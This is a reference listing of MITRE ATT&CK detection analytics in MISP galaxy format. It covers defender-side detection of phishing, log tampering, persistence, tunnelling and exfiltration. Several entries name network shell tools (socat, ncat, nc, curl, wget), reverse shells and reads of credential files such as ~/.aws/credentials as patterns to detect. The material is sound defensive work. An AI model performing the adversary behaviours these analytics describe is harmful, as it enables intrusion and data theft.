Detect abnormally high volume of inbound email messages or repetitive attachments being delivered to a single mailbox within a short time window. Defenders should look for anomalous spikes in message counts and repetitive attachment file creation events correlated with targeted users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1008 - AN1008"*

Table 5944. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0355#AN1008

Analytic 0180 - AN0180

Behavioral chain: (1) Safari/Chrome/Firefox/Office handles a URL; unified logs show open/click or LSQuarantine assignment, (2) outbound connection to untrusted domain, (3) a new file appears in ~/Downloads or /private/var/folders/* with quarantine flag.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0180 - AN0180"*

Table 5945. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0066#AN0180

Analytic 0108 - AN0108

Executables written or modified in installer directories (e.g., %TEMP% subdirectories or Program Files installer paths) followed by execution under elevated context. Defender observes abnormal file replacement activity, process creation by installer processes pointing to attacker-supplied binaries, and unexpected module loads in elevated processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0108 - AN0108"*

Table 5946. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0038#AN0108

Analytic 0810 - AN0810

Detects login to admin consoles (e.g., Microsoft 365 Admin Center) from unrecognized users, devices, or geolocations followed by non-API data review or configuration read actions that suggest GUI dashboard use.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0810 - AN0810"*

Table 5947. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0291#AN0810

Analytic 0801 - AN0801

Cloud API events where logging services are stopped, deleted, or modified in a way that disables audit visibility. Defender view: unauthorized StopLogging, DeleteTrail, or UpdateSink operations correlated with privileged user activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0801 - AN0801"*

Table 5948. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0289#AN0801

Analytic 0018 - AN0018

Federated login using SSO or OAuth grant to cloud control plane, followed by directory or permissions enumeration

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0018 - AN0018"*

Table 5949. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0008#AN0018

Analytic 1080 - AN1080

Monitors for the creation of accounts inside containers using names that resemble legitimate orchestrator or backup identities to mask adversary persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1080 - AN1080"*

Table 5950. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0383#AN1080

Analytic 1800 - AN1800

Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1800 - AN1800"*

Table 5951. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0689#AN1800

Analytic 1090 - AN1090

Access to organizational directories via Google Workspace Directory API, Slack SCIM, or Okta SCIM by apps or identities outside normal roles.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1090 - AN1090"*

Table 5952. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0386#AN1090

Analytic 0190 - AN0190

Detection of phishing through anomalous Mail app activity, such as attachments saved to disk and immediately executed, or Safari/Preview launching URLs and files linked from email messages. Correlate UnifiedLogs events with subsequent process execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0190 - AN0190"*

Table 5953. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0070#AN0190

Analytic 1009 - AN1009

Monitor mail server logs (e.g., Postfix, Sendmail) for excessive connections or inbound message counts targeting a single recipient. Correlate with repetitive attachment storage in /var/mail or /var/spool/mail directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1009 - AN1009"*

Table 5954. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0355#AN1009

Analytic 0091 - AN0091

Suspicious use of attrib.exe or PowerShell commands to set hidden attributes on files/directories. Defender view: processes modifying file attributes to 'hidden' or creating files with ADS (alternate data streams).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0091 - AN0091"*

Table 5955. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0032#AN0091

Analytic 0910 - AN0910

Execution of QEMU, KVM, or VirtualBox processes with unusual flags (e.g., '-nographic', '-snapshot'). File creation of VM images in atypical directories. Defender view: monitoring audit logs for process executions and file modifications linked to hidden virtualization.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0910 - AN0910"*

Table 5956. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0321#AN0910

Analytic 0109 - AN0109

Correlate high-frequency or anomalous DNS query activity with processes that do not normally generate network requests (e.g., Office apps, system utilities). Detect pseudo-random or high-entropy domain lookups indicative of domain generation algorithms (DGAs).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0109 - AN0109"*

Table 5957. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0039#AN0109

Analytic 0019 - AN0019

Login to M365 or Google Workspace from CLI tools or unexpected source IPs, followed by mailbox or document access

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0019 - AN0019"*

Table 5958. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0008#AN0019

Analytic 0901 - AN0901

Adversaries create SaaS accounts via admin dashboards or integrations (e.g., Zoom, Salesforce, Slack). Monitor lifecycle.create or account provisioning events from non-standard sources or times.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0901 - AN0901"*

Table 5959. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0319#AN0901

Analytic 0202 - AN0202

Session cookie reuse on unmanaged browsers, devices, or client types deviating from user baseline (e.g., switching from Chrome to curl).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0202 - AN0202"*

Table 5960. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0074#AN0202

Analytic 2002 - AN2002

Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2002 - AN2002"*

Table 5961. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0870#AN2002

Analytic 0022 - AN0022

Developer or CI invokes package managers/compilers (apt/yum + build-essential, npm/yarn/pnpm, pip/pip3, gem, cargo, go, maven/gradle). These write executable or script files into PATH or project dirs and immediately execute embedded lifecycle hooks (preinstall/postinstall, setup.py, npm scripts) that spawn shells or curl/wget, followed by egress to unfamiliar registries or domains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0022 - AN0022"*

Table 5962. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0009#AN0022

Analytic 0220 - AN0220

Adversary exploits Apache/Nginx/app servers. Chain: (1) suspicious requests in access logs → (2) spike of 5xx or WAF blocks → (3) web server or interpreter (apache2/nginx/php-fpm/node/python) spawns /bin/sh, curl, wget, socat, or writes webshell → (4) outbound callback.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0220 - AN0220"*

Table 5963. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0080#AN0220

Analytic 2020 - AN2020

Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2020 - AN2020"*

Table 5964. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0888#AN2020

https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 0032 - AN0032

Previously unseen applications generating outbound connections with atypical data flow characteristics, such as excessive data with no return response.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0032 - AN0032"*

Table 5965. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0011#AN0032

Analytic 2030 - AN2030

A process with no prior history or outside of known whitelisted tools initiates file or registry modifications to configure exclusion rules for antivirus, backup, or file-handling systems. Or a file system enumeration for specific file names andcritical extensions like .dll, .exe, .sys, or specific directories such as 'Program Files' or security tool paths or system component discovery for the exclusion of the files or components.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2030 - AN2030"*

Table 5966. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0897#AN2030

Analytic 0023 - AN0023

Developer tools (Homebrew, pip, npm/yarn, Xcode builds) install or update dependencies; new Mach-O or scripts appear under /usr/local, /opt/homebrew, ~/Library/Application Support, project dirs (node_modules/.bin, venv/bin). First run spawns sh/zsh/osascript/curl and new outbound flows; Gatekeeper/AMFI may flag unsigned components.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0023 - AN0023"*

Table 5967. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0009#AN0023

Analytic 0203 - AN0203

Web session tokens reused in native Office apps (e.g., Outlook, Teams) without associated token refresh or login behavior on the endpoint.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0203 - AN0203"*

Table 5968. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0074#AN0203

Analytic 2003 - AN2003

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2003 - AN2003"*

Table 5969. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0871#AN2003
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 0230 - AN0230

Adversary leverages root or sudo access to alter system banners, web content directories (e.g., /var/www/html), or login configurations (/etc/issue). File creation or overwrites may coincide with suspicious script execution or cron job activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0230 - AN0230"*

Table 5970. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0082#AN0230

Analytic 0320 - AN0320

Inbound spearphishing attempts delivered via third-party services (e.g., Gmail, LinkedIn messages) leading to malicious file downloads or browser-initiated script execution. Defender view includes correlation of external service logins, unexpected file write operations, and suspicious descendant processes spawned from productivity or browser applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0320 - AN0320"*

Table 5971. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0115#AN0320

Analytic 0302 - AN0302

Atypical processes (e.g., powershell.exe, regsvr32.exe) encode large outbound traffic using Base64 or other character encodings; this traffic is sent over uncommon ports or embedded in protocol fields (e.g., HTTP cookies or headers).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0302 - AN0302"*

Table 5972. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0108#AN0302

Analytic 2004 - AN2004

Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2004 - AN2004"*

Table 5973. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0872#AN2004

Analytic 0042 - AN0042

Detects files collected into user temp or shared directories followed by compression with ditto, zip,

or custom scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0042 - AN0042"*

Table 5974. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0014#AN0042

Analytic 0402 - AN0402

Launchd jobs or user processes invoking symmetric crypto APIs from the Security framework and generating outbound connections carrying randomized payloads inconsistent with normal TLS patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0402 - AN0402"*

Table 5975. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0143#AN0402

Analytic 0420 - AN0420

Forged SAML tokens may be used on Windows systems to authenticate to federated apps without normal Kerberos activity. Defenders may detect anomalous event correlation, where access to SaaS/O365 via SAML occurs without prior TGT requests or user logons.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0420 - AN0420"*

Table 5976. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0148#AN0420

Analytic 0024 - AN0024

Correlates unexpected modifications to WMI event filters, scheduled task triggers, or registry autorun keys with subsequent execution of non-standard binaries by SYSTEM-level processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0024 - AN0024"*

Table 5977. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0010#AN0024

Analytic 0204 - AN0204

Anomalous process (e.g., `rundll32`, `svchost`, `cmd`) initiates connections to internal peer hosts not seen in typical communication baselines, used to proxy or forward traffic internally, often using SMB, RPC, or high ports.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0204 - AN0204"*

Table 5978. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0075#AN0204

Analytic 0240 - AN0240

Defender observes execution of commands like `tasklist`, `sc query`, `reg query`, or PowerShell WMI/Registry queries targeting known backup products (e.g., Veeam, Acronis, CrashPlan). Behavior often includes parent-child lineage involving PowerShell or cmd.exe with discovery syntax, and enumeration of services, directories, or registry paths tied to backup software.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0240 - AN0240"*

Table 5979. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0088#AN0240

Analytic 2005 - AN2005

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2005 - AN2005"*

Table 5980. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0873#AN2005

Analytic 0520 - AN0520

Monitors sequences involving deletion/modification of logs, registry keys, scheduled tasks, or prefetch files following suspicious process activity or elevated access escalation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0520 - AN0520"*

Table 5981. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0184#AN0520

Analytic 0250 - AN0250

Behavioral chain involving suspicious use of GetProcAddress and LoadLibrary following memory allocation and manual mapping, often paired with low entropy strings, abnormal API use without static import tables, or delayed module load behaviors.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0250 - AN0250"*

Table 5982. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0091#AN0250

Analytic 0502 - AN0502

Adversary uses a tool like Ruler to configure a malicious Outlook folder Home Page that loads a remote or embedded HTML payload upon folder interaction. Execution chain begins with Outlook launching, a specific folder being accessed, and a suspicious child process being spawned or COM-based execution invoked.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0502 - AN0502"*

Table 5983. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0177#AN0502

Analytic 0205 - AN0205

`socat`, `ssh`, `iptables`, or `ncat` invoked from user space or cron jobs to create port forwarding, reverse shells, or inter-host tunnels between compromised Linux systems. Behavior is typically paired with socket activity and high entropy traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0205 - AN0205"*

Table 5984. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0075#AN0205

Analytic 0025 - AN0025

Detects inotify or auditd configuration changes that monitor system files coupled with execution of script interpreters or binaries by cron or systemd timers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0025 - AN0025"*

Table 5985. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0010#AN0025

Analytic 0052 - AN0052

A process (often LOLBin or user-launched program) loads a DLL from a user-writable/UNC/Temp path or unsigned/invalid signer. Within a short window the DLL is (a) newly written to disk, (b) spawned as follow-on execution (rundll32/regsvr32), or (c) establishes outbound C2.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0052 - AN0052"*

Table 5986. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0018#AN0052

Analytic 2006 - AN2006

Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2006 - AN2006"*

Table 5987. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0874#AN2006
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/

https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 0602 - AN0602

High-frequency file write operations using uncommon extensions, followed by ransom note creation, registry tampering, or shadow copy deletion. Often uses CLI tools like vssadmin, wbadmin, cipher, or PowerShell.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0602 - AN0602"*

Table 5988. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0215#AN0602

Analytic 0620 - AN0620

Processes accessing ALSA/PulseAudio devices or executing audio capture binaries like 'arecord', followed by file creation or suspicious child process spawning.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0620 - AN0620"*

Table 5989. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0221#AN0620

Analytic 0026 - AN0026

Correlates launchd plist modifications with subsequent unauthorized script execution or anomalous parent-child process trees involving user agents.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0026 - AN0026"*

Table 5990. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0010#AN0026

Analytic 0260 - AN0260

Detects creation or alteration of LaunchAgents or LaunchDaemons with corresponding plist modification followed by execution of associated binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0260 - AN0260"*

Table 5991. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0094#AN0260

Analytic 0206 - AN0206

Execution of AppleScript or Automator services launching `ssh -L`, `socat`, or `launchctl` items that dynamically reroute traffic from one Mac endpoint to another. LaunchAgents used to establish permanent internal tunnels.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0206 - AN0206"*

Table 5992. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0075#AN0206

Analytic 0062 - AN0062

Adversary executes systemctl or service stop targeting high-value services (e.g., mysql, sshd), possibly followed by rm or shred against data stores. Behavioral chain: sudo/su usage + stop command + /var/log/messages or syslog entries + file access/delete.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0062 - AN0062"*

Table 5993. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0021#AN0062

Analytic 0027 - AN0027

Monitors cloud function creation triggered by specific audit log events (e.g., IAM changes, object creation), followed by anomalous behavior from new service accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0027 - AN0027"*

Table 5994. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0010#AN0027

Analytic 2007 - AN2007

Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code

signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2007 - AN2007"*

Table 5995. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0875#AN2007

Analytic 0702 - AN0702

Monitor for anomalies in transmitted data streams, including mismatched file integrity checks, API interception, or man-in-the-middle modifications. Detect unexpected use of APIs that handle network I/O where transmitted data integrity could be manipulated.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0702 - AN0702"*

Table 5996. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0254#AN0702

Analytic 0720 - AN0720

On Linux systems, forged credentials may be injected into browser session files, curl/wget headers, or token caches in memory. Detection can leverage auditd to track processes accessing sensitive files (~/.mozilla, ~/.config/chromium, ~/.aws/credentials) and correlate with suspicious outbound connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0720 - AN0720"*

Table 5997. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0260#AN0720

Analytic 0072 - AN0072

Abuse of Linux Electron binaries by modifying app.asar or config JS files and spawning unexpected child processes (bash, curl, python).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0072 - AN0072"*

Table 5998. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0025#AN0072

Analytic 0207 - AN0207

ESXi shell execution of tools/scripts (`nc`, `socat`, `perl`) relaying network traffic to other internal hosts, especially when initiated by unauthorized users or VMs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0207 - AN0207"*

Table 5999. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0075#AN0207

Analytic 0270 - AN0270

Role escalation (e.g., Editor → Owner) in cloud collaboration tools (Google Workspace, O365) or file sharing apps to maintain elevated access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0270 - AN0270"*

Table 6000. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0096#AN0270

Analytic 0082 - AN0082

Suspicious long-lived or high-throughput connections by non-Apple signed apps or processes not commonly associated with network uploads. Detect background processes using open sockets for data egress.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0082 - AN0082"*

Table 6001. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0028#AN0082

Analytic 0208 - AN0208

Configuration of internal NAT or proxy rules that redirect traffic between client segments internally (e.g., site-to-site port forwarding). Often used to relay internal beaconing or move traffic laterally through trust zones.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0208 - AN0208"*

Table 6002. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0075#AN0208

Analytic 2008 - AN2008

Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2008 - AN2008"*

Table 6003. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0876#AN2008

Analytic 0280 - AN0280

Detects Lua script execution via native or 3rd party interpreters, chained with unsigned binaries or unexpected parent lineage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0280 - AN0280"*

Table 6004. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0101#AN0280

Analytic 0820 - AN0820

User opens a downloaded document/installer leading to EndpointSecurity file create in ~/Downloads or ~/Library paths then an exec of a suspicious utility (osascript, bash/zsh, curl, chmod, open with -a Terminal). Correlates File Creation with subsequent process exec and, optionally, quarantine/LSQuarantine events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0820 - AN0820"*

Table 6005. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0294#AN0820

Analytic 0802 - AN0802

Disabling or modifying sign-in or audit log collection for user activities. Defender view: policy or configuration updates removing logging coverage for critical accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0802 - AN0802"*

Table 6006. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0289#AN0802

Analytic 0028 - AN0028

Correlates Power Automate or similar logic app workflows triggered by SaaS file uploads or email rules with data forwarding or anomalous access patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0028 - AN0028"*

Table 6007. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0010#AN0028

Analytic 0209 - AN0209

Detects execution of VB-based scripts or macros (VBS/VBA/VBScript) through cscript.exe/wscript.exe, Office-based process chains, or HTA usage. Focuses on chained behavior: Office or HTML container spawns script host > script host spawns PowerShell, network connections, or process injection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0209 - AN0209"*

Table 6008. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0076#AN0209

Analytic 0902 - AN0902

Adversaries leverage M365 or Google Workspace APIs to create users, service accounts, or guest accounts. Follow-on behaviors include login activity, role escalation, or service principal token generation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0902 - AN0902"*

Table 6009. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0319#AN0902

Analytic 0920 - AN0920

Detects files or processes where execution results in frequent re-creation or modification of ELF binaries or interpreter scripts, often using chmod + execve with abnormal entropy.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0920 - AN0920"*

Table 6010. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0324#AN0920

Analytic 0290 - AN0290

Detects suspicious configuration changes in IdP authentication flows such as enabling reversible password encryption, MFA bypass, or policy weakening. Correlates policy modification events with unusual administrative activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0290 - AN0290"*

Table 6011. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0104#AN0290

Analytic 0092 - AN0092

Creation of files or directories with a leading '.' in privileged directories (/etc, /var, /usr/bin). Defender view: monitoring auditd logs for file creations where name begins with '.' and correlated with unusual user/process context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0092 - AN0092"*

Table 6012. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0032#AN0092

Analytic 2009 - AN2009

Much of this activity may have a very high occurrence and associated false positive rate, as well as

potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2009 - AN2009"*

Table 6013. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0877#AN2009

Analytic 0029 - AN0029

Detects macros or VBA triggers set to execute on document open or close events, often correlating with embedded payloads or C2 traffic shortly after execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0029 - AN0029"*

Table 6014. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0010#AN0029

Analytic 0330 - AN0330

Ties inbound access to exposed services (ARD/VNC 5900, SSH 22, ScreenSharing, web services) with process crashes in unified logs and abnormal child processes spawned under those services (e.g., bash, curl) to indicate exploitation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0330 - AN0330"*

Table 6015. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0118#AN0330

Analytic 0303 - AN0303

Custom scripts or processes encode outbound traffic using gzip, Base64, or hex prior to exfiltration via curl, wget, or custom sockets. Encoding typically occurs before or during outbound connections from non-network daemons.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0303 - AN0303"*

Table 6016. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0108#AN0303

Analytic 0033 - AN0033

Anomalous traffic from ESXi host management daemons (like hostd or vpxa) embedding non-standard payloads in management protocols (e.g., HTTPS) or beaconing behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0033 - AN0033"*

Table 6017. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0011#AN0033

Analytic 0034 - AN0034

Discrepancies between VBA source code and p-code inside Office documents. Defender perspective: anomalies in file metadata streams, execution of Office processes loading macros without source code consistency, and script execution with no corresponding source metadata.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0034 - AN0034"*

Table 6018. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0012#AN0034

Analytic 0304 - AN0304

Processes use built-in encoding utilities (e.g., `base64`, `xxd`, or `plutil`) to encode file contents followed by HTTP/HTTPS transfer via curl or custom applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0304 - AN0304"*

Table 6019. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0108#AN0304

Analytic 0403 - AN0403

ESXi daemons (hostd, vpxa) unexpectedly using symmetric encryption routines for external connections. Defender identifies logs of service traffic with encrypted payloads inconsistent with VMware management baselines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0403 - AN0403"*

Table 6020. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0143#AN0403

